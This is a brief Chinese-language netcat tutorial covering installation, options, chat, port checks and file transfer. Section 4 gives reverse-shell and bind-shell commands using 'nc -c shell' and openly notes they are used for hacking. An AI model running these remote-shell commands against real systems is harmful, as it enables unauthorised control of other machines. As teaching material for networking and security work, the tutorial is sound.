安装:
yum install nc -y
常用的参数:
-c, --sh-exec <command> :shell的交互,linux bash ,windows cmd -n, --nodns :直接IP方式进行连接,不进行DNS解析,如果是IP最好加 -v, --verbose :详细信息 -w :超时时间 -l :服务端监听 -u :制定udp,默认TCP
范例:
1.聊天
服务端:nc -l 80 客户端:nc -nv 服务端IP 服务端监听端口 #nc -nv 192.168.80.202 80 然后互相发送文本字符都能看到
2.网络测试,端口扫描(建议nmap)
客户端:nc -nv 服务端ip 端口
3.传输文件或者目录(> <可以互换)
传输文件 服务端:nc -l 88>1.mp4 客户端:nc -nv 192.168.80.202 88 <1.mp4 传输目录: 服务端:nc -l 9995 | tar xfvz - 客户端:tar cfz - * | nc 10.0.1.162 9995
4.shell控制,伪shell终端,常用于hack
服务端控制客户端,反向控制 服务端:nc -l 9000 客户端:nc -nv 192.168.80.202 -c shell #如果是windows -c cmd
客户端控制服务端:
服务端:nc -l 9000 -c shell 客户端:nc -nv 192.168.80.202